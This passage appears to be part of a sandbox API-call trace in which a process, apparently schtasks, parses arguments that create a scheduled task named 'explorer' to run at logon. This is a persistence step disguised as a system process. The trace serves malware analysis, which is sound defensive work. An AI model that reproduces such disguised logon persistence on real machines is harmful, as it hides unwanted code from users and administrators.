lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.864] lstrlenW (lpString="ru") returned 2 [0117.864] GetThreadLocale () returned 0x409 [0117.864] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.864] lstrlenW (lpString="rp") returned 2 [0117.864] GetThreadLocale () returned 0x409 [0117.864] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.865] lstrlenW (lpString="sc") returned 2 [0117.865] GetThreadLocale () returned 0x409 [0117.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.865] lstrlenW (lpString="mo") returned 2 [0117.865] GetThreadLocale () returned 0x409 [0117.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.865] lstrlenW (lpString="d") returned 1 [0117.865] GetThreadLocale () returned 0x409 [0117.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.865] lstrlenW (lpString="m") returned 1 [0117.865] GetThreadLocale () returned 0x409 [0117.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.865] lstrlenW (lpString="i") returned 1 [0117.865] GetThreadLocale () returned 0x409 [0117.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.865] lstrlenW (lpString="tn") returned 2 [0117.865] GetThreadLocale () returned 0x409 [0117.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.865] lstrlenW (lpString="tr") returned 2 [0117.865] GetThreadLocale () returned 0x409 [0117.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.865] lstrlenW (lpString="st") returned 2 [0117.865] GetThreadLocale () returned 0x409 [0117.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.865] lstrlenW (lpString="sd") returned 2 [0117.865] GetThreadLocale () returned 0x409 [0117.865] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.865] lstrlenW (lpString="ed") returned 2 [0117.865] GetThreadLocale () returned 0x409 [0117.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.866] lstrlenW (lpString="it") returned 2 [0117.866] GetThreadLocale () returned 0x409 [0117.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.866] lstrlenW (lpString="et") returned 2 [0117.866] GetThreadLocale () returned 0x409 [0117.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.866] lstrlenW (lpString="k") returned 1 [0117.866] GetThreadLocale () returned 0x409 [0117.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.866] lstrlenW (lpString="du") returned 2 [0117.866] GetThreadLocale () returned 0x409 [0117.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.866] lstrlenW (lpString="ri") returned 2 [0117.866] GetThreadLocale () returned 0x409 [0117.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.866] lstrlenW (lpString="z") returned 1 [0117.866] GetThreadLocale () returned 0x409 [0117.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.866] lstrlenW (lpString="f") returned 1 [0117.866] GetThreadLocale () returned 0x409 [0117.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.866] lstrlenW (lpString="v1") returned 2 [0117.866] GetThreadLocale () returned 0x409 [0117.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.866] lstrlenW (lpString="xml") returned 3 [0117.866] GetThreadLocale () returned 0x409 [0117.866] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.867] lstrlenW (lpString="ec") returned 2 [0117.867] GetThreadLocale () returned 0x409 [0117.867] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.867] lstrlenW (lpString="rl") returned 2 [0117.867] GetThreadLocale () returned 0x409 [0117.867] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.867] lstrlenW (lpString="delay") returned 5 [0117.867] GetThreadLocale () returned 0x409 [0117.867] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.867] lstrlenW (lpString="np") returned 2 [0117.867] GetThreadLocale () returned 0x409 [0117.867] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0117.867] lstrlenW (lpString="hresult") returned 7 [0117.867] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.867] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.867] lstrlenW (lpString="/create") returned 7 [0117.867] lstrlenW (lpString="-/") returned 2 [0117.867] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.867] lstrlenW (lpString="create") returned 6 [0117.867] lstrlenW (lpString="create") returned 6 [0117.867] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.867] lstrlenW (lpString="create") returned 6 [0117.867] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.867] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|create|") returned 8 [0117.867] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|create|") returned 8 [0117.868] lstrlenW (lpString="|create|") returned 8 [0117.868] lstrlenW (lpString="|create|") returned 8 [0117.868] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0117.868] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.868] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.868] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.868] lstrlenW (lpString="/tn") returned 3 [0117.868] lstrlenW (lpString="-/") returned 2 [0117.868] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.868] lstrlenW (lpString="create") returned 6 [0117.868] lstrlenW (lpString="create") returned 6 [0117.868] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.868] lstrlenW (lpString="tn") returned 2 [0117.868] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.868] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|create|") returned 8 [0117.868] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.868] lstrlenW (lpString="|create|") returned 8 [0117.868] lstrlenW (lpString="|tn|") returned 4 [0117.868] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0117.868] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.868] lstrlenW (lpString="?") returned 1 [0117.868] lstrlenW (lpString="?") returned 1 [0117.868] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.868] lstrlenW (lpString="tn") returned 2 [0117.868] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.868] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|?|") returned 3 [0117.868] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.869] lstrlenW (lpString="|?|") returned 3 [0117.869] lstrlenW (lpString="|tn|") returned 4 [0117.869] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.869] lstrlenW (lpString="s") returned 1 [0117.869] lstrlenW (lpString="s") returned 1 [0117.869] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.869] lstrlenW (lpString="tn") returned 2 [0117.869] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.869] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|s|") returned 3 [0117.869] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.869] lstrlenW (lpString="|s|") returned 3 [0117.869] lstrlenW (lpString="|tn|") returned 4 [0117.869] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.869] lstrlenW (lpString="u") returned 1 [0117.869] lstrlenW (lpString="u") returned 1 [0117.869] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.869] lstrlenW (lpString="tn") returned 2 [0117.869] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.869] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|u|") returned 3 [0117.869] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.869] lstrlenW (lpString="|u|") returned 3 [0117.869] lstrlenW (lpString="|tn|") returned 4 [0117.869] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.869] lstrlenW (lpString="p") returned 1 [0117.869] lstrlenW (lpString="p") returned 1 [0117.869] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.870] lstrlenW (lpString="tn") returned 2 [0117.870] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.870] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|p|") returned 3 [0117.870] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.870] lstrlenW (lpString="|p|") returned 3 [0117.870] lstrlenW (lpString="|tn|") returned 4 [0117.870] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.870] lstrlenW (lpString="ru") returned 2 [0117.870] lstrlenW (lpString="ru") returned 2 [0117.870] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.870] lstrlenW (lpString="tn") returned 2 [0117.870] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.870] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|ru|") returned 4 [0117.870] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.870] lstrlenW (lpString="|ru|") returned 4 [0117.870] lstrlenW (lpString="|tn|") returned 4 [0117.870] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0117.870] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.870] lstrlenW (lpString="rp") returned 2 [0117.870] lstrlenW (lpString="rp") returned 2 [0117.870] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.870] lstrlenW (lpString="tn") returned 2 [0117.870] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.870] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rp|") returned 4 [0117.871] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.871] lstrlenW (lpString="|rp|") returned 4 [0117.871] lstrlenW (lpString="|tn|") returned 4 [0117.871] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0117.871] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.871] lstrlenW (lpString="sc") returned 2 [0117.871] lstrlenW (lpString="sc") returned 2 [0117.871] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.871] lstrlenW (lpString="tn") returned 2 [0117.871] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.871] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.871] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.871] lstrlenW (lpString="|sc|") returned 4 [0117.871] lstrlenW (lpString="|tn|") returned 4 [0117.871] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0117.871] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.910] lstrlenW (lpString="mo") returned 2 [0117.910] lstrlenW (lpString="mo") returned 2 [0117.910] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.910] lstrlenW (lpString="tn") returned 2 [0117.910] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.910] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|mo|") returned 4 [0117.910] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.910] lstrlenW (lpString="|mo|") returned 4 [0117.910] lstrlenW (lpString="|tn|") returned 4 [0117.910] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0117.910] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.910] lstrlenW (lpString="d") returned 1 [0117.910] lstrlenW (lpString="d") returned 1 [0117.910] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.911] lstrlenW (lpString="tn") returned 2 [0117.911] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.911] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|d|") returned 3 [0117.911] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.911] lstrlenW (lpString="|d|") returned 3 [0117.911] lstrlenW (lpString="|tn|") returned 4 [0117.911] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.911] lstrlenW (lpString="m") returned 1 [0117.911] lstrlenW (lpString="m") returned 1 [0117.911] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.911] lstrlenW (lpString="tn") returned 2 [0117.911] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.911] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|m|") returned 3 [0117.911] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.911] lstrlenW (lpString="|m|") returned 3 [0117.911] lstrlenW (lpString="|tn|") returned 4 [0117.911] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.911] lstrlenW (lpString="i") returned 1 [0117.911] lstrlenW (lpString="i") returned 1 [0117.911] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.911] lstrlenW (lpString="tn") returned 2 [0117.911] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.911] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|i|") returned 3 [0117.911] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.911] lstrlenW (lpString="|i|") returned 3 [0117.911] lstrlenW (lpString="|tn|") returned 4 [0117.911] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.912] lstrlenW (lpString="tn") returned 2 [0117.912] lstrlenW (lpString="tn") returned 2 [0117.912] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.912] lstrlenW (lpString="tn") returned 2 [0117.912] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.912] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.912] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|tn|") returned 4 [0117.912] lstrlenW (lpString="|tn|") returned 4 [0117.912] lstrlenW (lpString="|tn|") returned 4 [0117.912] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0117.912] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.912] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.912] lstrlenW (lpString="explorer") returned 8 [0117.912] lstrlenW (lpString="-/") returned 2 [0117.912] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0117.912] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.912] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.912] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.912] lstrlenW (lpString="explorer") returned 8 [0117.912] StrChrIW (lpStart="explorer", wMatch=0x3a) returned 0x0 [0117.912] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.912] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.912] lstrlenW (lpString="explorer") returned 8 [0117.912] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.912] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.912] lstrlenW (lpString="/sc") returned 3 [0117.912] lstrlenW (lpString="-/") returned 2 [0117.912] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.912] lstrlenW (lpString="create") returned 6 [0117.913] lstrlenW (lpString="create") returned 6 [0117.913] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.913] lstrlenW (lpString="sc") returned 2 [0117.913] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.913] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|create|") returned 8 [0117.913] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.913] lstrlenW (lpString="|create|") returned 8 [0117.913] lstrlenW (lpString="|sc|") returned 4 [0117.913] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0117.913] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.913] lstrlenW (lpString="?") returned 1 [0117.913] lstrlenW (lpString="?") returned 1 [0117.913] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.913] lstrlenW (lpString="sc") returned 2 [0117.913] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.913] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|?|") returned 3 [0117.913] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.913] lstrlenW (lpString="|?|") returned 3 [0117.913] lstrlenW (lpString="|sc|") returned 4 [0117.913] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.913] lstrlenW (lpString="s") returned 1 [0117.913] lstrlenW (lpString="s") returned 1 [0117.913] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.913] lstrlenW (lpString="sc") returned 2 [0117.913] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.913] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|s|") returned 3 [0117.914] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.914] lstrlenW (lpString="|s|") returned 3 [0117.914] lstrlenW (lpString="|sc|") returned 4 [0117.914] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.914] lstrlenW (lpString="u") returned 1 [0117.914] lstrlenW (lpString="u") returned 1 [0117.914] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.914] lstrlenW (lpString="sc") returned 2 [0117.914] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.914] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|u|") returned 3 [0117.914] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.914] lstrlenW (lpString="|u|") returned 3 [0117.914] lstrlenW (lpString="|sc|") returned 4 [0117.914] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.914] lstrlenW (lpString="p") returned 1 [0117.914] lstrlenW (lpString="p") returned 1 [0117.914] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.914] lstrlenW (lpString="sc") returned 2 [0117.914] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.914] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|p|") returned 3 [0117.914] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.914] lstrlenW (lpString="|p|") returned 3 [0117.914] lstrlenW (lpString="|sc|") returned 4 [0117.914] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.914] lstrlenW (lpString="ru") returned 2 [0117.914] lstrlenW (lpString="ru") returned 2 [0117.914] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.914] lstrlenW (lpString="sc") returned 2 [0117.915] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.915] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|ru|") returned 4 [0117.915] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.915] lstrlenW (lpString="|ru|") returned 4 [0117.915] lstrlenW (lpString="|sc|") returned 4 [0117.915] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0117.915] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.915] lstrlenW (lpString="rp") returned 2 [0117.915] lstrlenW (lpString="rp") returned 2 [0117.915] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.915] lstrlenW (lpString="sc") returned 2 [0117.915] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.915] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|rp|") returned 4 [0117.915] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.915] lstrlenW (lpString="|rp|") returned 4 [0117.915] lstrlenW (lpString="|sc|") returned 4 [0117.915] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0117.915] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.915] lstrlenW (lpString="sc") returned 2 [0117.915] lstrlenW (lpString="sc") returned 2 [0117.915] _memicmp (_Buf1=0x2159bc14320, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.915] lstrlenW (lpString="sc") returned 2 [0117.915] _memicmp (_Buf1=0x2159bc138d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.915] _vsnwprintf (in: _Buffer=0x2159bc138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.915] _vsnwprintf (in: _Buffer=0x2159bc1a9d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23d6e7c588 | out: _Buffer="|sc|") returned 4 [0117.915] lstrlenW (lpString="|sc|") returned 4 [0117.916] lstrlenW (lpString="|sc|") returned 4 [0117.916] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0117.916] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.916] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.916] lstrlenW (lpString="ONLOGON") returned 7 [0117.916] lstrlenW (lpString="-/") returned 2 [0117.916] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0117.916] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.916] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.916] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.916] lstrlenW (lpString="ONLOGON") returned 7 [0117.916] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0117.916] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.916] RtlRestoreLastWin32Error () returned 0x23d6cb7000 [0117.916] GetProcessHeap () returned 0x2159bc10000 [0117.916] RtlAllocateHeap (HeapHandle=0x2159bc10000, Flags=0xc, Size=0x18) returned 0x2159bc1a9f0 [0117.916] _memicmp (_Buf1=0x2159bc1a9f0, _Buf2=0x7ff685139eb0, 